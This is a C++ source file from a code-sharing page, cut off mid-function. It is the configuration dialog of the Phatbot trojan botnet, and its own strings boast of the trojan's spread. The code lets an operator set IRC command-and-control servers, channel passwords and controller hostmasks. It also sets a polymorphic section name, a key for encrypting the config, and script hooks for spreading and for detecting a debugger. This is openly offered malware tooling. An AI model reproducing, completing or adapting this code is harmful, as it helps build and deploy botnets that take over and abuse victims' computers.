📄 configguidlg.cpp.svn-base
字号:
#include "stdafx.h"
#include "configgui.h"
#include "configguiDlg.h"
#include "sapphire.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
bool g_bEditing=false;
int g_iKeyLen=0;
char *szQuotes[] = {
"In Soviet Russia, bot configures you!",
"1. Configure bot - 2. ??? - 3. Profit!",
"Change some stuff :)",
"A kind of Darwinism pervades the world of trojan botnet development.",
"PhatBot is installed on hundreds of thousands machines already.",
"I RTFA and I'm really impressed with the features on this trojan.",
"Phatbot is the Swiss army knife of Trojan horses",
NULL
};
void init_random() { srand(GetTickCount()); }
int brandom(int bot,int top) { return (int)((float)((top+1)-bot)*rand()/(RAND_MAX+1.0))+bot; }
int brandom_100(int bot,int top) { Sleep(25); return (int)((float)((top+1)-bot)*rand()/(RAND_MAX+1.0))+bot; }
int get_random_number(int range) { return rand()%range; }
bool server_item::operator==(const server_item &item) {
if( bRootServer==item.bRootServer &&
!sNickPrefix.Compare(item.sNickPrefix) &&
!sServPass.Compare(item.sServPass) &&
!sServer.Compare(item.sServer) &&
iPort==item.iPort &&
!sChanPass.Compare(item.sChanPass) &&
!sMainChan.Compare(item.sMainChan) &&
bUseSSL==item.bUseSSL)
return true;
else
return false; }
bool user_item::operator==(const user_item &item) {
if( !sUserName.Compare(item.sUserName) &&
!sPassword.Compare(item.sPassword) &&
!sHostmask.Compare(item.sHostmask) &&
!sIdentdmask.Compare(item.sIdentdmask))
return true;
else
return false; }
server_item::server_item() {
bRootServer=false; sNickPrefix=""; sServPass=""; sServer="";
iPort=1; sChanPass=""; sMainChan=""; bUseSSL=false; }
user_item::user_item() {
sUserName=""; sPassword=""; sHostmask=""; sIdentdmask=""; }
class CAboutDlg:public CDialog {
public:
CAboutDlg();
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX);
//}}AFX_VIRTUAL
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg():CDialog(CAboutDlg::IDD) {
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX) {
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
CString RndNick(const char *szPrefix) {
CString sRetVal; srand(GetTickCount()); sRetVal=szPrefix;
for(int n=0;n<7;n++)
{ CString sTemp; sTemp=sRetVal;
sRetVal.Format("%s%c", sTemp, (rand()%26)+97); }
return sRetVal;
}
CConfigguiDlg::CConfigguiDlg(CWnd* pParent):CDialog(CConfigguiDlg::IDD, pParent) {
//{{AFX_DATA_INIT(CConfigguiDlg)
m_sConfigList = _T("");
m_sValueChar = _T("");
m_iValueInt = 0;
m_sValueString = _T("");
m_sDescription = _T("");
m_bValueBool = FALSE;
m_sPolySecName = RndNick(".");
m_sChanPass = _T("");
m_sHostmask = _T("");
m_sIdentdmask = _T("");
m_sMainChan = _T("");
m_sNickPrefix = _T("");
m_sPassword = _T("");
m_bRootServer = FALSE;
m_sServer = _T("");
m_sServPass = _T("");
m_iServPort = 1;
m_sUserName = _T("");
m_bUseSSL = FALSE;
m_iKeyLen = 16;
//}}AFX_DATA_INIT
m_sScript=
"onstart {\n" \
"}\n\n" \
"onconnect {\n" \
"}\n\n" \
"onjoin {\n" \
"}\n\n" \
"onlogin {\n" \
"}\n\n" \
"ondisconnect {\n" \
"}\n\n" \
"onremove {\n" \
"}\n\n" \
"onspread {\n" \
"}\n\n" \
"ondebugeractive {\n" \
"}\n\n" \
"ontimer 10080m {\n" \
"}\n\n" \
"onstartupfin {\n" \
"}\n";
m_hIcon=AfxGetApp()->LoadIcon(IDR_MAINFRAME); }
void CConfigguiDlg::DoDataExchange(CDataExchange* pDX) {
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CConfigguiDlg)
DDX_Control(pDX, IDC_QUOTE, m_cQuote);
DDX_Control(pDX, IDC_USER_LIST, m_cUserList);
DDX_Control(pDX, IDC_SERVER_LIST, m_cServerList);
DDX_Control(pDX, IDC_VALUE_STRING, m_cValueString);
DDX_Control(pDX, IDC_VALUE_INT, m_cValueInt);
DDX_Control(pDX, IDC_VALUE_CHAR, m_cValueChar);
DDX_Control(pDX, IDC_VALUE_BOOL, m_cValueBool);
DDX_Control(pDX, IDC_CONFIG_LIST, m_cConfigList);
DDX_LBString(pDX, IDC_CONFIG_LIST, m_sConfigList);
DDX_Text(pDX, IDC_VALUE_CHAR, m_sValueChar);
DDV_MaxChars(pDX, m_sValueChar, 1);
DDX_Text(pDX, IDC_VALUE_INT, m_iValueInt);
DDX_Text(pDX, IDC_VALUE_STRING, m_sValueString);
DDX_Text(pDX, IDC_DESCRIPTION, m_sDescription);
DDX_Check(pDX, IDC_VALUE_BOOL, m_bValueBool);
DDX_Text(pDX, IDC_POLY_SECNAME, m_sPolySecName);
DDV_MaxChars(pDX, m_sPolySecName, 8);
DDX_Text(pDX, IDC_CHANPASS, m_sChanPass);
DDX_Text(pDX, IDC_HOSTMASK, m_sHostmask);
DDX_Text(pDX, IDC_IDENTDMASK, m_sIdentdmask);
DDX_Text(pDX, IDC_MAINCHAN, m_sMainChan);
DDX_Text(pDX, IDC_NICKPREFIX, m_sNickPrefix);
DDX_Text(pDX, IDC_PASSWORD, m_sPassword);
DDX_Check(pDX, IDC_ROOTSERVER, m_bRootServer);
DDX_Text(pDX, IDC_SERVER, m_sServer);
DDX_Text(pDX, IDC_SERVPASS, m_sServPass);
DDX_Text(pDX, IDC_SERVPORT, m_iServPort);
DDV_MinMaxInt(pDX, m_iServPort, 1, 65535);
DDX_Text(pDX, IDC_USERNAME, m_sUserName);
DDX_Check(pDX, IDC_USESSL, m_bUseSSL);
DDX_Text(pDX, IDC_KEY_LEN, m_iKeyLen);
DDV_MinMaxInt(pDX, m_iKeyLen, 8, 128);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CConfigguiDlg, CDialog)
//{{AFX_MSG_MAP(CConfigguiDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDLOADFROM, OnLoadfrom)
ON_BN_CLICKED(IDSAVETO, OnSaveto)
ON_WM_SHOWWINDOW()
ON_LBN_SELCHANGE(IDC_CONFIG_LIST, OnSelchangeConfigList)
ON_BN_CLICKED(IDC_VALUE_BOOL, OnValueBool)
ON_EN_CHANGE(IDC_VALUE_CHAR, OnChangeValueChar)
ON_EN_CHANGE(IDC_VALUE_INT, OnChangeValueInt)
ON_EN_CHANGE(IDC_VALUE_STRING, OnChangeValueString)
ON_BN_CLICKED(IDADDSERVER, OnAddserver)
ON_BN_CLICKED(IDDELSERVER, OnDelserver)
ON_BN_CLICKED(IDADDUSER, OnAdduser)
ON_BN_CLICKED(IDDELUSER, OnDeluser)
ON_LBN_SELCHANGE(IDC_SERVER_LIST, OnSelchangeServerList)
ON_LBN_SELCHANGE(IDC_USER_LIST, OnSelchangeUserList)
ON_BN_CLICKED(IDC_USESSL, OnUsessl)
ON_EN_CHANGE(IDC_USERNAME, OnChangeUsername)
ON_EN_CHANGE(IDC_SERVPORT, OnChangeServport)
ON_EN_CHANGE(IDC_SERVPASS, OnChangeServpass)
ON_EN_CHANGE(IDC_SERVER, OnChangeServer)
ON_BN_CLICKED(IDC_ROOTSERVER, OnRootserver)
ON_EN_CHANGE(IDC_PASSWORD, OnChangePassword)
ON_EN_CHANGE(IDC_NICKPREFIX, OnChangeNickprefix)
ON_EN_CHANGE(IDC_MAINCHAN, OnChangeMainchan)
ON_EN_CHANGE(IDC_IDENTDMASK, OnChangeIdentdmask)
ON_EN_CHANGE(IDC_HOSTMASK, OnChangeHostmask)
ON_EN_CHANGE(IDC_CHANPASS, OnChangeChanpass)
ON_EN_CHANGE(IDC_KEY_LEN, OnChangeKeyLen)
ON_BN_CLICKED(IDEDITSCR, OnEditscr)
ON_BN_CLICKED(IDCMDREF, OnCmdref)
ON_BN_CLICKED(IDFAQ, OnFaq)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
BOOL CConfigguiDlg::OnInitDialog() {
CDialog::OnInitDialog();
CMenu* pSysMenu=GetSystemMenu(FALSE); if(pSysMenu) {
CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty()) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } }
SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE);
// m_cImageList.Add(AfxGetApp()->LoadIcon(IDI_COLLAPSED));
return TRUE; }
void CConfigguiDlg::OnSysCommand(UINT nID, LPARAM lParam) {
if((nID&0xFFF0)==IDM_ABOUTBOX) {
CAboutDlg dlgAbout; dlgAbout.DoModal(); }
else
CDialog::OnSysCommand(nID, lParam); }
void CConfigguiDlg::OnPaint() {
if(IsIconic()) {
CPaintDC dc(this);
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
int cxIcon=GetSystemMetrics(SM_CXICON), cyIcon=GetSystemMetrics(SM_CYICON);
CRect rect; GetClientRect(&rect);
int x=(rect.Width()-cxIcon+1)/2, y=(rect.Height()-cyIcon+1)/2;
dc.DrawIcon(x, y, m_hIcon); }
else
CDialog::OnPaint(); }
HCURSOR CConfigguiDlg::OnQueryDragIcon() {
return (HCURSOR)m_hIcon; }
void CConfigguiDlg::ParseConfigDef() {
char szReadBuf[8192]; FILE *fp=fopen("config.def", "r"); if(!fp) {
MessageBox("Failed to open config.def!", "Error", MB_OK | MB_ICONERROR); ExitProcess(1); }
while(fgets(szReadBuf, sizeof(szReadBuf), fp) && !feof(fp)) {
for(int i=0;i<strlen(szReadBuf);i++)
if(szReadBuf[i]=='\r' || szReadBuf[i]=='\n') szReadBuf[i]='\x00';
if(!strcmp(szReadBuf, "")) continue; if(szReadBuf[0]=='#') continue;
char *szObjectType, *szName, *szDataType, *szDescription;
szObjectType=strtok(szReadBuf, "\t"); szName=strtok(NULL, "\t");
szDataType=strtok(NULL, "\t"); szDescription=strtok(NULL, "\t");
if(!szObjectType || !szName || !szDataType || !szDescription) {
MessageBox("Invalid config.def format!", "Error", MB_OK | MB_ICONERROR); ExitProcess(1); }
if(!stricmp(szObjectType, "cvar")) {
config_item cItem; cItem.sItemName=szName; cItem.sItemDesc=szDescription;
if(!stricmp(szDataType, "string")) {
cItem.iItemType=ITEM_TYPE_STRING;
cItem.sItemTypeName="String";
} else if(!stricmp(szDataType, "bool")) {
cItem.iItemType=ITEM_TYPE_BOOL;
cItem.sItemTypeName="Boolean";
} else if(!stricmp(szDataType, "char")) {
cItem.iItemType=ITEM_TYPE_CHAR;
cItem.sItemTypeName="Character";
} else if(!stricmp(szDataType, "int")) {
cItem.iItemType=ITEM_TYPE_INT;
cItem.sItemTypeName="Integer";
} else {
MessageBox("Invalid config.def format!", "Error", MB_OK | MB_ICONERROR); ExitProcess(1); }
cItem.bItemData=false; cItem.cItemData='\x00';
cItem.iItemData=0; cItem.sItemData="";
m_lConfigItems.push_back(cItem);
} else {
MessageBox("Invalid config.def format!", "Error", MB_OK | MB_ICONERROR); ExitProcess(1); }
}
fclose(fp);
if(!m_lConfigItems.size()) {
MessageBox("config.def contains no config items!", "Error", MB_OK | MB_ICONERROR); ExitProcess(1); }
}
// Returns MD5 as a string of hex values (\x42\xF5\xD2....)
CString GetMD5(CString sInput) {
md5::MD5_CTX md5; md5::MD5Init(&md5); unsigned char szMD5[16];
CString sMD5; sMD5=""; const char *szBla=sInput.GetBuffer(8192);
md5::MD5Update(&md5, (unsigned char*)szBla, sInput.GetLength());
sInput.ReleaseBuffer();
md5::MD5Final(szMD5, &md5); for(int i=0;i<16;i++)
{ CString sTemp; sTemp.Format("\\x%2.2X", szMD5[i]); sMD5+=sTemp; }
return sMD5; }
// Returns MD5 as text (FE349AC872....)
CString GetMD5Text(CString sInput) {
md5::MD5_CTX md5; md5::MD5Init(&md5); unsigned char szMD5[16];
CString sMD5; sMD5=""; const char *szBla=sInput.GetBuffer(8192);
md5::MD5Update(&md5, (unsigned char*)szBla, sInput.GetLength());
sInput.ReleaseBuffer();
md5::MD5Final(szMD5, &md5); for(int i=0;i<16;i++)
{ CString sTemp; sTemp.Format("%2.2X", szMD5[i]); sMD5+=sTemp; }
return sMD5; }
CString Escape(CString sInput) {
CString sRetVal;
for(int i=0;i<sInput.GetLength();i++) {
if(sInput.operator [](i)=='\\')
sRetVal+="\\\\";
else if(sInput.operator [](i)=='\"')
sRetVal+="\\\"";
else if(sInput.operator [](i)=='\r')
sRetVal+="\\r";
else if(sInput.operator [](i)=='\n')
sRetVal+="\\n";
else if(sInput.operator [](i)=='\t')
sRetVal+="\\t";
else {
char szBla[3]={sInput.operator [](i), 0, 0};
sRetVal+=szBla; }
}
return sRetVal;
}
CString EscapeH(CString sInput) {
CString sRetVal;
for(int i=0;i<sInput.GetLength();i++) {
char szTemp[8]; char cBla=(const char)sInput.operator [](i);
sprintf(szTemp, "\\x%2.2X", (unsigned char)cBla);
sRetVal+=szTemp; }
return sRetVal;
}
typedef struct scriptfile_s {
CString sScript;
CString *sRetVal;
} scriptfile;
CString EditScriptFile(CString sScript) {
DeleteFile("c:\\temp.script");
FILE *fp=fopen("c:\\temp.script", "w");
if(!fp) return CString("");
fprintf(fp, "%s", sScript);
fflush(fp); fclose(fp);
PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(STARTUPINFO));
sinfo.cb=sizeof(sinfo); sinfo.wShowWindow=SW_SHOW;
CreateProcess(NULL, "notepad.exe c:\\temp.script", NULL, NULL, FALSE, \
NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
while(WaitForSingleObject(pinfo.hProcess, 10000)==WAIT_TIMEOUT);
fp=fopen("c:\\temp.script", "r");
if(!fp) return CString("");
char szReadBuf[4096]; CString sRetVal("");
while(fgets(szReadBuf, 4096, fp) && !feof(fp)) {
sRetVal+=szReadBuf;
}
fclose(fp); DeleteFile("c:\\temp.script");
return sRetVal; }
DWORD WINAPI EditScriptFileThread(void *pParams) {
scriptfile *pFile=(scriptfile*)pParams;
*pFile->sRetVal=(EditScriptFile(pFile->sScript));
g_bEditing=false; delete pFile; return 0;
}
CString GenKey() {
CString sRetVal(""); int iKeyLen=g_iKeyLen;
for(int i=0;i<iKeyLen;i++) {
char cChar; int iBla=brandom(1,3);
switch(iBla) {
case 1:
cChar=brandom(48,57); // 0-9
break;
case 2:
cChar=brandom(65,90); // A-Z
break;
case 3:
cChar=brandom(97,122); // a-z
break;
default:
cChar=brandom(65,90); // A-Z (default)
break;
};
char szBla[3]={cChar,0,0}; sRetVal+=szBla; }
return sRetVal; }
CString Encrypt(CString sIn, CString &sKey) {
CSapphire cSap; CString sRetVal("");
cSap.initialize((unsigned char*)sKey.operator const char *(), sKey.GetLength());
int i;
for(i=0;i<sIn.GetLength();i++) {
char cEnc=cSap.encrypt(sIn.operator [](i));
char szEncStr[3]={cEnc,0,0};
sRetVal+=szEncStr; }
CString sCheckStr(""); cSap.burn();
cSap.initialize((unsigned char*)sKey.operator const char *(), sKey.GetLength());
for(i=0;i<sRetVal.GetLength();i++) {
char cDec=cSap.decrypt(sRetVal.operator [](i));
char szDecStr[3]={cDec,0,0};
sCheckStr+=szDecStr; }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -